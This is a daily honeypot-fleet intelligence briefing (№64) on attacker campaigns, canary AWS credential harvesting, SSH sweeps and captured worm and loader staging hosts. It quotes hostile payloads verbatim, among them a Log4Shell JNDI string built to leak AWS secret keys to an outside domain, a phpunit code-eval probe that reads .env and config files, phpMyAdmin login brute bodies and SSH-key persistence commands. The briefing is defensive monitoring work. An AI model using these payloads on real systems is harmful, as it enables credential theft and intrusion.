FLUX FLEET — INTEL BRIEFING №64

Period: 2026-10-26 07:34 – 2026-10-27 07:34 UTC (24h, day 62 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Nextcloud/php2shell TLS profile, rebuilt 10-23 15:06Z), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 62-day baseline, mint and use sides verified against Tracebit alert logs; hostile bodies quoted verbatim where captured). Times quoted as stored digits; the +4 h ingest cast applies (see Fleet Observations).

BLUF

TechTies (93.152.221.96, TechTies Inc. DE) turned last cycle's 525-event census into a 48,329-event kit run: ~16 hours of repeated walks across canary-farm-1, ru-edge-1, and control-1 that combined .env-fanout minting, 4,767 phpMyAdmin credential POSTs, a phpunit RCE probe, Tomcat-manager enumeration, and Log4Shell strings in the identity fields. The run collected 714 of the window's 789 canary credentials — the largest single-IP haul in fleet history, prior record 41 — and none of the 789 reached AWS. lauterbourg-01-ts absorbed a 13.5-hour numeric wp-login enumeration (121.40.140.50, Hangzhou Alibaba CN, 18,032 credential POSTs), and AI-EXEC-HUNT returned after two idle windows with a 9-second, 41-mint burst under a third operator IP. The ssh/telnet honeypot captured two new staging kits, including a self-labeled worm (w1 compat v7.1, blind-scan mode). One medina tooling fix: the briefing-number heuristic now reads heading lines only — a prose mention of "№64" in №63 had made it print №65.

Key Judgements

1. TechTies graduated from census operator to intrusion-prep kit, and it is now the fleet's dominant credential collector. One IP ran the walk in cycles for ~16 h, minted 714 credentials (727 over 6 days), and the run included RCE probing and identity-field injection alongside the file requests. (High confidence on the events and mints — digest, spot queries, Tracebit funnel; Moderate on intent — the kit's end goal is unobserved.)
2. The credential economy took a supply shock with no demand signal. 789 credentials went to 27 collectors and none was used in AWS — the third zero-use cycle in four. TechTies's pile alone exceeds every named hoard on record. Hold-for-resale and slow consumption look identical from outside; either way, first use will be the fleet's largest theft-to-use event. (High on the zero — the pull covers the window; Moderate on the interpretation.)
3. The rebuilt lauterbourg surface now draws sustained brute traffic in addition to short bursts. A single Alibaba CN IP enumerated sequential passwords against /wp-login.php for 13.5 h at ~1,340 POSTs/h, four days after the rebuild and one cycle after the record XMLRPC flood. (High on the events; Moderate on the trend — two windows is a pattern, not yet a schedule.)
4. The honeypot delivered its first self-labeled worm-deployment kit. w1 compat v7.1 announces worm deployment with blind-scan mode and setsid persistence; t2r v5 FLAT is a 7-arch loader; a separate host serves a 4-arch ELF bot set. (High on the artifacts — scripts and binaries captured; Moderate on capability claims — the worm's spread behavior is not directly observed.)

Active Campaigns (day 62 status)

TECHTIES-KIT (census-to-kit escalation on the shared .env wordlist) ⚠ NEW — Hostile, active

• Actors: 93.152.221.96 (TechTies Inc. DE, ipsum-clean) — the sole operator; the org behind SS-NET TOOLING's TechTies entry and CREDSWEEP's №63 operator. No rotation: one IP carried the whole run.
• TTPs: repeated walk cycles 05:46 10-26 → 05:19 10-27 stored (ru-edge legs ran to 05:31): tarpit → pscan-<hash>-nonexistent.txt marker → /.env [issued ×714] → 20+ directory .env fanout (/vendor/, /lib/, /lab/, /cronlab/, /cron/, /core/, /core/app/, /core/Datavase/, /database/) → phpMyAdmin → phpunit → Tomcat → cloud-credential files. Volume: farm 22,969 ev / 3,451 POSTs; ru-edge 22,069 / 1,939; control 3,291 / 133 (48,329 ev / 5,523 POSTs total). POST bodies captured (quoted verbatim): pma_username=root&pma_password=&server=1&target=index.php and pma_username=root&pma_password=root&server=1&target=index.php — 4,767 phpmyadmin-credential-post events, every one TechTies; and the phpunit eval-stdin RCE probe (URL-decoded head): code=echo 'PHPUNIT_OK'; foreach(['.env','../.env','../../.env','wp-config.php','config.php'] as $f) {if(file_exists… — a file-read oracle through CVE-2017-9841-class code eval. Tomcat-manager legs 1,507 events. Log4Shell in the identity fields (next section). UAs: forged Chrome/126 + Go-http-client/1.1. Wordlist refresh first-seens: /.env.save.backup, /.env.save.stage, /.env.save.production, /mgmt/tm/util/bash (F5 BIG-IP iControl RCE endpoint), /django_settings.py on canary-farm-1; /backend/admin/.env, /backend/administrator/.env on ru-edge.
• Assessment: the shared CREDSWEEP wordlist now ships with an exploitation battery. The fake .env answered every cycle and the operator minted on every touch — rate-blind automation or deliberate hoarding. The fleet design held: every hostile stage hit decoys (tarpit modules, fake phpinfo, fake Tomcat, fake phpMyAdmin) and the phpunit probe read decoy files. Watch: AWS use of the hoard, a second IP, a payload drop after the probe.

JNDI-FIELD-INJECT (Log4Shell strings in clientIp + X-Forwarded-For) ⟳ — SECOND RUN, NEW PAYLOAD — Hostile, active

• Actors: 93.152.221.96 (TechTies — the TECHTIES-KIT IP; the injection rides inside that walk). №60's operator was a separate Amazon US /24, absent this window.
• TTPs: 455 events (canary-farm-1 247, ru-edge-1 184, control-1 24), 21:47 → 05:20 stored: GET / with clientIp and X-Forwarded-For set to ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} and the ${env:AWS_SECRET_ACCESS_KEY} variant, UA Go-http-client/1.1, socketPeer 93.152.221.96 on every row. On a vulnerable Log4j parser, the ${env:…} interpolation would place live AWS key material into the outbound LDAP lookup to log4j.check.
• Assessment: credential-adjacent targeting, not noise: the payload is built to exfiltrate AWS env vars specifically. The XFF single-entry forgery counter's 455 is this campaign — its first mass sighting since the counter existed (2026-09-15; normal ≈ 0). log4j.check DNS callbacks are unobservable in these logs (the pipeline has no DNS view); treat the domain as a live IOC. Two operators on record now — this is a technique, not a one-off.

WP-FORM-BRUTE (distributed wp-login form brute, signature df15d0ee3ccf) ⟳ — NEW NUMERIC-ENUM LEG — Hostile, active

• Actors: 121.40.140.50 (Hangzhou Alibaba Advertising CN) — new operator class, single IP, one UA. The df15d0ee3ccf cluster continued separately on netcup-ts (56 probe + 56 credential events) and sponge-01-ts (31/31).
• TTPs: POST /wp-login.php on lauterbourg-01-ts 15:44 → 05:17 stored (13.5 h). 20,289 events / 20,281 POSTs on 6 paths, of which 18,032 are wp-login credential POSTs (~1,340/h). Bodies (quoted verbatim): log=admin&pwd=0&redirect_to=http://89.116.25.211/wp-admin/&testcookie=1, then pwd=1, pwd=2, … — sequential numeric passwords against admin; testcookie handled, no _wpnonce (unlike the cluster's browser-forgery legs); redirect_to names the node's own IP.
• Assessment: a bulk-host operator ran a naive sequential dictionary at throttle pace for half a day. The fake WordPress answered every POST. Volume, not sophistication; the cluster's nonce-handling legs remain the more capable shape. Watch a second source IP on the numeric list and any xmlrpc coordination on the same node.

AI-EXEC-HUNT (AI-crawler census + execution probes + mass minting) ⟳ — RETURN, THIRD OPERATOR IP — Hostile, active

• Actors: 136.65.203.248 (Google LLC US) — third operator IP on record (№57: 34.58.160.181; №61: 136.66.182.42; all Google LLC US).
• TTPs: canary-farm-1 19:00:48–57 stored — 9 seconds: 623 events / 276 paths / 33 forged AI-crawler UAs (Baiduspider, cohere-ai, Bytespider, MoonshotBot, DeepSeekBot, Perplexity-User, bingbot, Hunyuan, ChatGPT-User, Claude-User, Meta-WebIndexer, DuckAssistBot, OAI-SearchBot, GPTBot/1.4, CCBot, Kimi-SearchBot class), 41 mints (ties the record), 21 POSTs. POST bodies (quoted verbatim, multipart boundary r2s3km489nw4b6k — NEW, rotated from r2s1b10479syd5v3 and r2s926xynu59lcd): ------r2s3km489nw4b6k\nContent-Disposition: form-data; name="0"\n\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mai… on /login, /admin, /dashboard, /settings, /api/auth — React Server Components Flight deserialization probes. Supporting legs: vite-fs-issued ×7, gcp-credentials-json ×8, firebase-json ×12, proc-environ ×18, docker-compose, ssh-private-key-error; marker path /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show unchanged.
• Assessment: the kit keeps its exact shape across three operators and rotating boundary tokens — one template, rented or shared. The two earlier 41-credential piles drew zero AWS use through this window's pull; the new 41 makes a third pile. Watch the fourth operator IP and any AWS-side movement on the three piles.

MEGA-DICTIONARY (shared IoT dropper-URL dictionary replay) ⟳ — 24TH REPLAY — Hostile, active

• Actors: 155.2.191.115 (Host Universal Pty Ltd US, ipsum:1) — new IP; the campaign's actor list already carries 155.2.191.165, the same /24. Third replay host in three windows (tzulo, Owl partial, Host Universal).
• TTPs: frantech-ts 01:09:32–01:10:27 stored: 13,776 events / 13,776 distinct paths in 55 s, 208 rotating router/IoT UA forgeries, all 5 traveling decoy singles present 1 each (gravitysmtp-miss, llm-endpoint-ollama-ps, llm-endpoint-models-list, exchange-powershell-pre-auth, observability-profiler-index). GET-only, 0 mints, 0 POSTs. Manifest unchanged at 13,776 for the fourth window.
• Assessment: the artifact keeps circulating through the Host Universal block alongside tzulo, Owl, Datacamp, and 31173 hosts. The decoys rode along again, so the size-plus-decoys manifest check stays intact. Watch the next host and any manifest growth.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ FLEET-WIDE — 15-RUNNER WAVE — Hostile, active

• Actors: 15 DigitalOcean runners carried the 27-family walk (105 docker-registry-manifest rows): 46.101.1.225 on 3 sensors; 143.110.217.244, 167.99.182.39, 159.89.12.166, 164.90.208.56 on 2 each; 165.22.34.189, 167.99.210.137, 209.38.248.17, 143.244.168.161, 134.209.25.199, 64.23.218.208, 146.190.242.161, 167.71.175.236, 164.90.228.79, 64.227.32.66 on 1 each.
• TTPs: unchanged 12-step walk (tarpit → WebLogic console → server-status → Confluence → WHM/cPanel proxy → docker-registry enum). 13 runner IPs minted 1 each (14 mints) in the 20:38–22:00 stored wave; 46.101.1.225 added its own on ai-devbox-1.
• Assessment: the evening mint wave repeated (№63: 20:55–21:45; №64: 20:38–22:00) — LeakIX's collector keeps a schedule. The census wordlist refreshed this cycle (the /mgmt/tm/util/bash-class first-seens); whether TechTies and LeakIX share the refresh or bought the same update is open. The 14 fresh l9scan credentials are next-use candidates. Watch lauterbourg legs continuing and the mint disposition.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — MINT EXPLOSION, ZERO USE — Hostile, active

• Actors: mint side 789 credentials to 27 collector IPs (digest issued semantics: 798 rows — farm 340, ru-edge 377, control 68, aidev 13). Use side: none observed.
• TTPs: no AWS activity tied to fleet canaries. Standing inventory per the Tracebit pull: TechTies 93.152.221.96 holds 727 (6d) after this window's 714; 136.66.182.42 41; 136.65.203.248 41 (new); 213.209.159.175 28; 213.209.159.154 18 (minting resumed: 2 this window); 37.60.226.187 16; 102.220.163.241 8; 45.148.10.171 8; 140.245.97.208 7; 165.227.102.187 7; 46.151.178.15 7.
• Assessment: supply at an all-time high, demand at zero for the third cycle in four. The 714-credential take is the largest single hostile inventory event in fleet history; its first AWS appearance will be unmissable. Mint failures stay negligible (farm 400×1, control 400×1, ru-edge 3 unknown-status) — nothing rate-limited the take.

Light watchers

• SI-CENSUS (102.220.163.241, VPS Dedicated LLC SI) — full-fleet light pass: all 8 sensors, 13 events, 3 mints (aidev/farm/control) under Go-http-client/1.1; 8/6d. The №63 wordlist partner rode along while TechTies ran heavy.
• 165.227.102.187 (DigitalOcean US) — 12-variant .env walk ending at config.yaml on farm, plus a frantech leg (192 ev); 2 mints (7/6d).
• 93.152.209.6 (Omniline Investment s.r.o. BG) — 40-family config census on farm with 1 mint (4/6d) under a Googlebot forgery. Different org from TechTies despite the 93.152.x adjacency.
• 45.138.12.x (Tc Datacenter LT) — third consecutive loiter window: .51 on 3 sensors (264 ev, 1 farm mint, 5/6d), .52 on aidev+lauterbourg (150 ev), .35 aidev rerun (384 ev).
• 130.12.180.117 (Omegatech NL) — netcup 173 ev, ipsum:1; the block's fourth window, minting class since №62.
• 217.60.76.167 (LIBREDTAIL staging /16) — second consecutive multi-sensor mint window (aidev + control, 5/6d), UA rotation included a Firefox/12 forgery.
• 105.112.190.152 — python-requests/2.31.0 collector, first sighting: mints on 3 sensors (5/6d). Attribution open; block not in the registry.
• 198.46.135.30 — Chrome/61/69 forgeries, mints on aidev + control (2/6d), first sighting.
• 212.56.54.58 — one /.env mint with an empty UA (rare); first sighting.
• Benign fixed-cadence probers — 89.248.172.33 (7 sensors, 437 ev), 45.198.224.125 (8 sensors, 73 ev), 71.6.232.23 (Censys range, 8 sensors, 8 ev), 93.174.93.12 (6 sensors, 324 ev shallow walks). Honest UAs, shallow journeys; research class.
• lauterbourg TLS-vhost crawlers — YouBot/1.0, CCBot/2.0, bingbot/2.0, Firefox/140.0.4 (x64 de) first-seens on lauterbourg-01-ts; cloud.wafflehouseindex.us took 11,446 events. Honest-identity crawlers index the Nextcloud bait; benign by identification, but they blur the vhost's signal — class unfamiliar vhost traffic as crawler-class before calling it hostile.

Standing actors (persistence check)

• 93.152.221.96 (TechTies) — third consecutive window: 525 ev / 8 mints (№63) → 48,329 ev / 714 mints (№64). The largest week-over-week escalation by any operator on record.
• REGISTRY-HUNT runners (DigitalOcean pool) — present every window on record; 15 runners this cycle after 11 last.
• 45.138.12.x (Tc Datacenter LT) — third window of loitering; CVENGINE-KIT's block stays warm.
• 208.84.100.218 (CONFIGBUNDLE-KIT operator) — minted on aidev (03:41 stored); 6/6d unchanged; standing since 10-02.
• 213.209.159.154 (Feo Prest) — minting resumed after №63's streak-end call: 2 mints on farm, 18/6d.
• 217.60.76.167 (LIBREDTAIL staging /16) — fourth window; minted in both of the last two.
• GO-SSH-SWEEP / GO-SCATTER-SWEEP / LIBSSH-MASSSWEEP (network layer) — all present again; see recon.

Absent or paused

XMLRPC-BRUTE (idle — the digest re-lists №63's burst via the window-overlap quirk; no new POSTs), Bochum softsec crawler 185.73.23.x (fourth window), AI-CLI-VAULT (second), AI-ADMIN-SWEEP (second), EXCHANGE-DICT (third — status now idle), ADMINER-SWARM, KEYDROP-SCANS, CLOUDCONF-CENSUS (first since naming), METADATA-HUNT named runners, NIGHTAGENT, MALWARE-DICT (.18 loop), MALWARE-DICT-2, BUCKLOG-KIT, SES-QUOTA-PROBE (sixth), WEBSIPHON, CLAUDE-CRED-HUNT, CENSUS-284, CF-FRONTED CREDSWEEP, OMEGA-SWEEP census operators.

Network-layer recon (Arkime) — 2026-10-26 07:34:00 → 2026-10-27 07:34:20 UTC

Fingerprint field ssh.hassh, destination port 22 · 129,501 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 89,987, bahrain-sponge-01-ts 53,076, sensor:bahrain-sponge-01-ts 53,076, contabo-sponge-02-ts 21,784, proxy 21,784, sensor:contabo-sponge-02-ts 21,784

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 3,249 sessions from 602 source IPs across 242 networks in 63 countries, port 22, avg 4,918 B/session. Networks: AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS31898 Oracle Corporation, AS132203 Tencent Building, Kejizhongyi Avenue, AS8075 Microsoft Corporation, AS19871 Network Solutions, LLC. Busiest sources: 112.123.228.180, 201.17.133.138, 20.71.254.235, 57.134.142.191, 104.208.108.166. Last 7 days: 10-21 327 IPs, 10-22 314 IPs, 10-23 443 IPs, 10-24 617 IPs, 10-25 579 IPs, 10-26 599 IPs, 10-27 214 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. GO-SPRAY-SWEEP (06ff3615…) re-expanded 1 → 41 source IPs / 33 networks (+3,832 sessions) — its first multi-IP day since №28's 136-IP burst, still below the dispersed threshold. GO-SSH-SWEEP (0a07365c…) concentrated: 25,301 sessions from 46 IPs / 7 networks, and its honeypot-side kin stayed busy — the uname survey ran again from 109.160.32.44 and one sibling (2,570 command events), 77.239.124.161 ran the CPU/IPv4 survey (429), and 77.239.124.162 touched all 8 nodes' HTTP surface (26 ev). The sweep and shell stages remain one operation. GO-SCATTER-SWEEP (16443846…) held 24,691 sessions / 32 IPs. LIBSSH-MASSSWEEP (f555226d…) stayed wide: 602 IPs / 242 networks, +36 IPs day-over-day. Unnamed but heavy: 4e066189c3bb… (30,467 sessions / 12 IPs — control-1's top inbound), 98f63c4d9c87… (+3,978 to 4,127), 2ec37a7cc8da… (2,228), 19532158b559… (1,941) — none crossed a flag threshold; name on a second sighting or a crossing. lauterbourg-01-ts took the fleet's most dispersed inbound: 13,054 sessions from 2,838 source IPs. No new fingerprints; the flagged set stays at LIBSSH-MASSSWEEP alone.

Canary credentials

Summary

No canary credentials were used in AWS during the window. Fleet sensors minted 789 credentials to 27 collector IPs; none reached AWS.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 93.152.221.96: 727 mints, 2026-10-21 23:57 → 2026-10-27 05:23
• 136.65.203.248: 41 mints, 2026-10-26 19:00 → 2026-10-26 19:00
• 136.66.182.42: 41 mints, 2026-10-24 05:03 → 2026-10-24 05:03
• 213.209.159.175: 28 mints, 2026-10-20 04:04 → 2026-10-23 15:04
• 213.209.159.154: 18 mints, 2026-10-21 19:49 → 2026-10-26 22:00
• 37.60.226.187: 16 mints, 2026-10-20 05:25 → 2026-10-21 21:45
• 143.244.165.105: 9 mints, 2026-10-21 18:02 → 2026-10-23 21:39
• 102.220.163.241: 8 mints, 2026-10-25 09:28 → 2026-10-26 18:02
• 45.148.10.171: 8 mints, 2026-10-20 04:47 → 2026-10-22 00:53
• 140.245.97.208: 7 mints, 2026-10-20 23:51 → 2026-10-24 16:12
• 165.227.102.187: 7 mints, 2026-10-21 16:37 → 2026-10-27 03:24
• 46.151.178.15: 7 mints, 2026-10-25 17:05 → 2026-10-27 02:12
• 169.150.196.6: 6 mints, 2026-10-25 03:05 → 2026-10-25 03:29
• 195.178.110.22: 6 mints, 2026-10-24 06:41 → 2026-10-24 06:53
• 208.84.100.218: 6 mints, 2026-10-21 03:34 → 2026-10-26 03:41
• 217.60.198.111: 6 mints, 2026-10-21 03:45 → 2026-10-21 03:54
• 105.112.190.152: 5 mints, 2026-10-26 06:26 → 2026-10-26 07:47
• 206.81.24.74: 5 mints, 2026-10-20 20:43 → 2026-10-25 21:04
• 217.60.76.167: 5 mints, 2026-10-24 07:47 → 2026-10-26 20:44
• 45.138.12.51: 5 mints, 2026-10-20 22:16 → 2026-10-27 02:04
• 134.209.25.199: 4 mints, 2026-10-23 18:47 → 2026-10-26 21:06
• 157.245.113.227: 4 mints, 2026-10-20 20:04 → 2026-10-24 20:05
• 159.26.101.138: 4 mints, 2026-10-23 16:04 → 2026-10-23 16:21
• 23.234.78.109: 4 mints, 2026-10-20 05:35 → 2026-10-20 14:00
• 45.148.10.125: 4 mints, 2026-10-23 01:44 → 2026-10-23 04:39
• 46.101.1.225: 4 mints, 2026-10-20 20:02 → 2026-10-26 21:46
• 91.92.240.86: 4 mints, 2026-10-25 13:52 → 2026-10-25 21:58
• 93.152.209.6: 4 mints, 2026-10-22 02:01 → 2026-10-26 09:29
• 138.68.144.227: 3 mints, 2026-10-22 21:03 → 2026-10-24 20:54
• 146.70.98.138: 3 mints, 2026-10-24 20:46 → 2026-10-25 20:51
• 150.228.105.248: 3 mints, 2026-10-20 17:58 → 2026-10-20 18:02
• 185.177.72.9: 3 mints, 2026-10-23 13:14 → 2026-10-23 13:14
• 206.189.233.36: 3 mints, 2026-10-20 19:58 → 2026-10-25 20:58
• 45.148.10.5: 3 mints, 2026-10-22 00:28 → 2026-10-25 02:19
• 64.89.163.14: 3 mints, 2026-10-21 08:34 → 2026-10-21 10:53
• 72.167.41.202: 3 mints, 2026-10-21 17:47 → 2026-10-21 18:25
• 80.94.92.65: 3 mints, 2026-10-20 20:44 → 2026-10-21 09:39

Reading. The mint side exploded and the use side stayed flat. TechTies holds 727 credentials over 6 days — every prior named hoard is smaller. The 41-mint piles of AI-EXEC-HUNT now number three (34.58.160.181 №57, 136.66.182.42 №61, 136.65.203.248 №64), all unused. Any AWS alert against these piles in the next pull is the story.

Fleet Observations

• Fleet volumes and causes. canary-farm-1 +774% (25,738 ev / 197 uniq): TechTies 22,969 + AI-EXEC-HUNT 623 + their tarpit loops (tarpit-module 15,421). lauterbourg-01-ts +778% (32,508 / 138): the wp-login numeric flood is 18,032 of it. ru-edge-1 +68% (23,123 / 120): TechTies 22,069 + tarpit-module 14,823. frantech-ts +59% (14,537 / 93): MEGA-DICTIONARY's 13,776. control-1 −6% (4,151 / 130) and ai-devbox-1 −8% (1,784 / 147): normal spread. netcup-ts −77% (990) and sponge-01-ts −79% (746): the same named absences held — Bochum crawler (fourth window), AI-CLI-VAULT legs, EXCHANGE-DICT; remaining volume is tarpit, df15d0ee3ccf wp-login legs, and phpunit probes (74 each).
• Canary economics. 798 digest issued rows (farm 340 from 18 IPs, ru-edge 377 from 5, control 68 from 6, aidev 13 from 11) against the funnel's 789 minted credentials to 27 collectors — the standing count-semantics gap, unchanged. TechTies caused ~90% of mint volume. Failures: farm 400×1, control 400×1 (scattered upstream rejections), ru-edge 3 unknown-status — no key errors, no bursts. All mints aws type. lauterbourg-01-ts: 0, expected (keyless by design).
• Attribution posture. XFF single-entry forgery 455 — all TECHTIES-KIT's JNDI identity-field injection; the counter's first mass sighting (normal ≈ 0). Any-XFF 3,552 requests; multi-entry chains 0; XFF-present-but-ignored 0. The socketPeer pivot held: every forged row's peer was 93.152.221.96, so attribution never depended on the forged fields. TLS split: lauterbourg 1,583 of 32,508 events on https (4.9%); the certless deception nodes took plain http as designed. New wrinkle: lauterbourg's TLS vhost cloud.wafflehouseindex.us drew 11,446 events and the node's first-seen UA list filled with honest crawler identities (YouBot, CCBot, bingbot) — the Nextcloud bait is being indexed; class unfamiliar vhost traffic as crawler-first before reading it as hostile.
• Control discovery velocity. Day 44 of the fresh-IP baseline: 4,151 events / 130 unique IPs — unique-IP discovery steady (7-day avg ~132) while volume swung on campaign noise (16,293 on 10-25, 892 on 10-26). The ramp metric to track stays unique IPs/day; it held.
• Digest quirks in play. The window-overlap quirk re-listed №63's XMLRPC-BRUTE burst (136.70.193.85, 9,807 POSTs, 05:42–05:59 stored 10-26) in this digest's top talkers and in the fleet-24h histogram's 05:00 bucket — no new xmlrpc activity occurred; cross-checked against №63 before counting. The first-seen table again showed whole sync batches under one arrival timestamp (03:16:46/.47 stored across farm/ru-edge/lauterbourg) — arrival times, not observation times.
• Fleet-side fixes. One medina tooling fix: flux-briefing.sh's next-number heuristic grepped every №<n> token in past briefings, so №63's prose mention of "№64" made it print №65; the grep now reads heading lines only. This briefing is №64. No node, config, or pipeline changes; the visuals dashboard gained the TECHTIES-KIT chain and №64 status updates on twelve chains.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

• Funnel. 724 sources sent credentials → 539 got a shell (74%) → 491 ran a command (91% of shell-getters, 68% of sources). Event level: 21,280 credential attempts → 4,084 accepted logins → 11,302 commands (277% of accepted logins led to commands). Telnet took 1,208 attempts. The per-login conversion held at last cycle's level — operators keep working the box after entry.
• New commands. None — 0 of 5,861 distinct commands were first-seens this window. The inventory is mature; a first-seen here remains the single post-compromise signal to watch.
• Recurring (context, not news). The uname/CPU/IPv4 hardware survey ran from 109.160.32.44 and one sibling (2,570 command events) — the GO-SSH-SWEEP-linked 109.160.32.x pool — and from 77.239.124.161 (429), the /24 in GO-SSH-SWEEP's busiest sources; sweep and shell stages remain one operation. The SSH-persistence pair (cd ~; chattr -ia .ssh; lockr -ia .ssh, then an authorized_keys append) ran from 458 and 401 IPs — commodity botnet baseline. A GPU-inventory pair (nvidia-smi -q | grep "Product Name"…, lspci | grep VGA…) ran from 209.99.190.186 and 2 siblings (82 events each) — crypto-targeting reconnaissance, recurring.
• Credentials. 14,701 distinct pairs offered, 0 new. Concentration is the signal: the 345gs5662d34 family took 1,239 of 21,280 attempts (643 as user 345gs5662d34 + 596 as root against 3245gs5662d34).

C2 / payload endpoints (frantech-ts ssh+telnet honeypot)

Single sensor (one host), not a fleet number. Built from the raw honeypot sources — session transcripts, honeypot.log, and the capture vault — because the condensed /data/hp-logs/ feed truncates commands at 160 characters and drops any dropper line whose URL sits past that offset.

Summary

• inventory: 68 endpoints on 18 hosts, 2018 command references and 441 download attempts since 2026-09-18T10:45
• served payloads: 20 distinct artifacts over HTTP 2xx from 6 hosts (146.190.102.83, 152.42.195.115, 176.65.132.7, 176.65.139.157, 176.65.139.40, 185.228.72.128)
• this window: 12 endpoints first seen, 20 active; 27 endpoints seen in the last 7 days remain current
• inventory generated 2026-10-27T07:29:31Z

New this window

Endpoints active this window

Payload artifacts (HTTP 2xx, captured)

Host ≠ actor: a staging host can also be the operator's login source (176.65.139.40 authenticates 1,224 times). Correlate on payload sha256 and script text, not on the IP.

Family naming (this cycle's new staging). The two new kit hosts name themselves. 146.190.102.83/t2r/ serves t2r v5 FLAT stage-1 scripts — 7 versions served 11:17–19:22 stored, sha256 2165fae6c486… → c871a756510b — that pull t2.{arm7,arm6,arm5,mpsl,mips,x86_64,sh4} through wget / busybox wget / curl with a :443 fallback; and w1 compat v7.1 scripts (0cac28cc7f78…) whose header self-describes a worm deployment (盲扫 blind-scan mode, setsid persistence) pulling w1. binaries for 12 architectures. 152.42.195.115 separately serves a 4-arch ELF bot set (main_arm7 201,396 B through main_arm6) over http+tftp from one source IP, active the whole window. Correlate on sha256, never the staging IPs.

Gaps / Next Collection

1. AWS side of the 789. The TechTies hoard (714 this window, 727/6d) is the largest hostile-held inventory in fleet history. Pull Tracebit alerts past the window close before №65 — first use lands there first, and it will be the fleet's largest theft-to-use event.
2. log4j.check telemetry. The JNDI payloads exfiltrate AWS env vars to that domain on a vulnerable parser. The pipeline has no DNS view; check whether any sinkhole or passive-DNS source can observe callbacks, and treat log4j.check as a live IOC either way.
3. TECHTIES-KIT wordlist lineage. The refresh first-seens (/.env.save.*, /mgmt/tm/util/bash, /django_settings.py) landed in the same sync batch across sensors; diff them against SI-CENSUS's list to check for the shared-artifact drift, and watch for the phpunit probe returning with a payload POST.
4. Honeypot staging persistence. Watch for re-serves from 146.190.102.83 and 152.42.195.115; correlate new downloads by sha256, not IP. The w1 worm's self-propagation claims are unverified — a second host serving the same w1.* sha256s will be the evidence.
5. lauterbourg follow-on. Whether 121.40.140.50's numeric run returns, gains a second IP, or joins the xmlrpc multi-account shape on the same node.
6. Unnamed heavy fingerprints. 4e066189c3bb… (30,467 sessions on control-1) and 98f63c4d9c87… (+3,978 day-over-day) — register on a threshold crossing or a repeat at scale.

Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-27.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-10-27.md